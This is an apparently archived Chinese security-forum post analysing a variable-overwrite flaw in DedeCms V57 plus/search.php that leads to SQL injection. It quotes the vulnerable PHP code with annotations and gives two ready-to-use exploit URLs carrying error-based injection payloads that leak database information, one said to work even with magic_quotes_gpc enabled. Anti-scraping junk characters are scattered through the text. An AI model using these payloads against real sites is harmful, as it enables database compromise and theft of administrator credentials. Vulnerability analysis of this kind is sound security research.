找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2265|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
% `" [# B2 X2 M0 e作者: c4rp3nt3r@0x50sec.org
* |3 A2 d/ I' _5 |+ oDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: p; q4 s- [! a* @% v+ o6 v- N/ T 5 c& l. z3 V7 h
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.; E' L2 e" g0 R2 j. t* q8 |0 l. Q

0 D2 }, n' ?/ A============6 S9 _# e. K6 Z" E

" ~% r7 U, q# F 6 T) U7 b) I. y; T0 v) Q
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.: n0 l! @: D/ r" |: L
9 ]3 w8 N6 j& }3 |3 C# Z# U: K; t7 j0 m
require_once(dirname(__FILE__).”/../include/common.inc.php”);  n1 i: Y# n, e2 Q/ S+ W
require_once(DEDEINC.”/arc.searchview.class.php”);
; K+ @: v1 X" S ! ]2 {# w7 [( O3 t8 `: e% J
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;" Z0 Y1 i2 \1 A8 T" F* k8 k
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
& s! V" M" c2 V0 z% `$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
" }! H7 ^- z. }0 J3 n$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;( k, `$ |* l& T% \6 ^& `% D- S
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
" S" P$ q$ e6 S: W$ A1 w  H
: \; A  N4 B% ~1 q+ m+ jif(!isset($orderby)) $orderby=”;; V* v5 p- {+ W2 v/ Z7 l7 p
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);$ y* b- J2 F6 A! L" S* k

$ N3 I  E( }' v# [
) `" O2 c" q7 E) Z7 g" l3 B# Y% {% Vif(!isset($searchtype)) $searchtype = ‘titlekeyword’;3 f. V* v+ \  {) V
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);+ y! @# J/ O( @  p* Q, b
+ @  u7 H4 g$ Z0 L2 F7 V- R
if(!isset($keyword)){% A: z" X+ p, r; z* b1 N; |  h2 s  F& h
    if(!isset($q)) $q = ”;
$ @, n# t" j+ S* d    $keyword=$q;
% w/ {6 s) B1 u, K: i0 |) r}
4 B. E/ g3 a' g) t/ I . _1 S2 h& i9 T1 t  `
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));0 W. S# ]9 B& m! g5 A+ u1 G9 C

' G- @9 x) g* M. b! W5 c- w) W//查找栏目信息( [( H1 q5 X+ e  O5 j4 v
if(empty($typeid))) S2 x0 |1 g! D* M2 ?7 l
{1 ~$ t9 r8 i" C8 `( j
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;5 n2 T0 C2 Z! e# w" {
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
" E0 v% q: i5 G* Q. ?    {( m4 K) C9 i6 [; g- `
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
* E2 L7 G0 ~" A* o        fwrite($fp, “<”.”?php\r\n”);
5 ~" e* g' X$ e        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
# N( O( P( t, Q# O/ W        $dsql->Execute();5 i3 {. O0 d: i: X4 L8 \
        while($row = $dsql->GetArray())
1 O+ s. T5 ^! F$ A/ z        {
) A" @. _" _2 G/ V& `            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
* ?7 a& i3 _% `0 D" G: i        }
3 i) g1 ?' D; b8 l. ~. r        fwrite($fp, ‘?’.'>’);
3 w3 T3 O* E' t: P* {        fclose($fp);
) p+ G' M4 J8 S% z    }
" y6 `0 w( |& B# {7 d# i  `    //引入栏目缓存并看关键字是否有相关栏目内容; l6 e! |# c0 R. A
    require_once($typenameCacheFile);0 t; @; M$ q1 {+ h4 ^" ?) L. z- ^
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
/ j1 T; i, t% Z//4 S! @* v1 R- M: r# [' ?! x
    if(isset($typeArr) && is_array($typeArr))( j/ c5 R! u4 S* C$ K
    {
  u! W7 F3 o( R: k        foreach($typeArr as $id=>$typename)# u/ {# c" Y2 H' R8 ^  x( X: U  P
        {; [; `. o1 e, b0 \4 S7 {; C( [

' f) _  p9 K+ J) H/ n            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过2 \% u& Z+ b5 e0 Q+ i
            if($keyword != $keywordn)
, B6 b$ f! u; x9 |# T. N( ]            {$ j5 ~6 C6 E8 h$ D: p& L+ o
                $keyword = $keywordn;& R/ n1 X" D; x4 U: C
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
. a2 |$ T) e% Y! v$ X* G                break;  r5 m4 c, m  F% N
            }3 E/ `- X- {. G% ^& y
        }! [0 a: P8 n9 E" F. u7 p4 k3 q
    }; @* a* B; L0 u/ ?: U+ Y" f# f9 }7 a
}4 h# l0 J; V- D! u3 h
然后plus/search.php文件下面定义了一个 Search类的对象 .- e. t/ A+ G3 f% R
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
, T. i% N3 I: c4 z6 E$this->TypeLink = new TypeLink($typeid);
. G2 Q! J) c; r# z& n. h . C+ ], T8 B4 M- ?1 w/ y
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.. E& q1 F6 T/ y$ L0 r, X8 z
+ R- x  V+ e) f6 V% b& ]* W: E
class TypeLink; H" v+ L! |& Q6 l' }
{
. Q6 |: t3 _# g    var $typeDir;
' M- j$ E$ W# i; _. a' E0 y    var $dsql;- b% d: p" x8 B8 U. A
    var $TypeID;# N  j# t: l" h6 n) A2 w' M; ?
    var $baseDir;. h  E0 }( x! J2 f, y7 f" B- l4 P
    var $modDir;" N9 F, l1 C+ t2 d
    var $indexUrl;0 j8 u" N" `5 V4 V
    var $indexName;, a2 K: r7 Y& F8 j3 Q
    var $TypeInfos;9 T) g; y% d% i4 Z& z8 n6 p+ E5 L
    var $SplitSymbol;4 T. n7 \; b; r* C" g
    var $valuePosition;
  @4 g( Z4 J: h# j: Z    var $valuePositionName;* d; N) u' a: _8 q+ q
    var $OptionArrayList;//构造函数///////
( Z% M8 N$ p" |* G    //php5构造函数6 e4 `; E* z- C, f% c( O& k  a9 ^% U
    function __construct($typeid)& K/ `* u& V. u% P# K3 \* e
    {
6 U9 y- d0 U2 p) ~        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
% y; \" j: d! ]7 y9 I( [4 l        $this->indexName = $GLOBALS['cfg_indexname'];; N! z& t# K' G2 o" G
        $this->baseDir = $GLOBALS['cfg_basedir'];
3 ?" m  R: X$ G: g. j) w        $this->modDir = $GLOBALS['cfg_templets_dir'];
8 W7 v. V0 F5 e5 ]: h0 X2 ^        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];+ T  d/ j& ]3 k; f
        $this->dsql = $GLOBALS['dsql'];
0 P# H' h$ [# [  \: i5 F. v        $this->TypeID = $typeid;/ b* w& N: Y( @5 V2 t( z3 |
        $this->valuePosition = ”;1 e& S  E  l3 ~! Z7 U6 ?
        $this->valuePositionName = ”;/ v" m6 Z3 l' o6 Y
        $this->typeDir = ”;7 y6 V0 ], I% P! d7 N: L) t/ N
        $this->OptionArrayList = ”;
0 W5 e7 {, `, k * i( |2 a. C2 v& Y2 H8 t  P
        //载入类目信息% B3 I1 i$ f2 `* s; O, g$ H

6 y2 {$ ]* g4 F2 S; }- t" ^3 d: o( g        <font color=”Red”>$query = “SELECT tp.*,ch.typename as+ M1 C% M8 ?; b5 M
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join- w$ {+ j1 I" \* Q9 r
`#@__channeltype` ch
+ p& W8 f. V! B7 L7 C" ?- y1 A* g        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿9 P6 S. m8 d1 h- B
* k5 s; v0 a1 V
        if($typeid > 0)2 K0 Y7 D0 ]2 c, e$ e, l
        {0 A- \7 M$ ~4 G+ V
            $this->TypeInfos = $this->dsql->GetOne($query);5 ^7 W! u( c9 E% I0 K
利用代码一 需要 即使magic_quotes_gpc = Off
! |, h# O. t" g( U: ~
( M: w: u  g8 {  o8 A6 fwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title4 Z' G" w4 }, F0 W1 d, x/ u% p2 o

2 f* g3 o% |) a8 u" P这只是其中一个利用代码… Search 类的构造函数再往下
1 O& \: F6 a# V( D) c, c4 a : f( B* k3 O# ?' O  P. A
……省略
+ L7 E% r: c' C8 l7 K$this->TypeID = $typeid;; b: V( F  E, x1 [: T! V
……省略
. W2 k9 i3 A& k9 l# B& x9 uif($this->TypeID==”0″){
6 l+ n- m+ h+ I' P/ u0 F7 C8 h            $this->ChannelTypeid=1;
9 C& ~: o: H2 V- ^; g  z        }else{
" U( m% o# h. a  o4 ?% t7 x            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
5 S) j% e/ v" e4 Y2 U9 F, D//现在不鸡肋了吧亲…  k6 v* @# G' V' A+ t2 L2 j
            $this->ChannelTypeid=$row['channeltype'];. v2 n' H( z9 J: l- B+ k: z

9 t& Q5 f- M$ w        }# R: ^; g( ^: [: C
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
/ |8 Y9 m+ U6 s2 U! J2 E) ] 2 V. J. i! S( L& U* z+ o  [
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title5 [3 u) S  S0 H% }

5 f0 ^) t/ a! P: B' B* g如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站8 F  }/ D9 H0 F- K$ m! s( \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表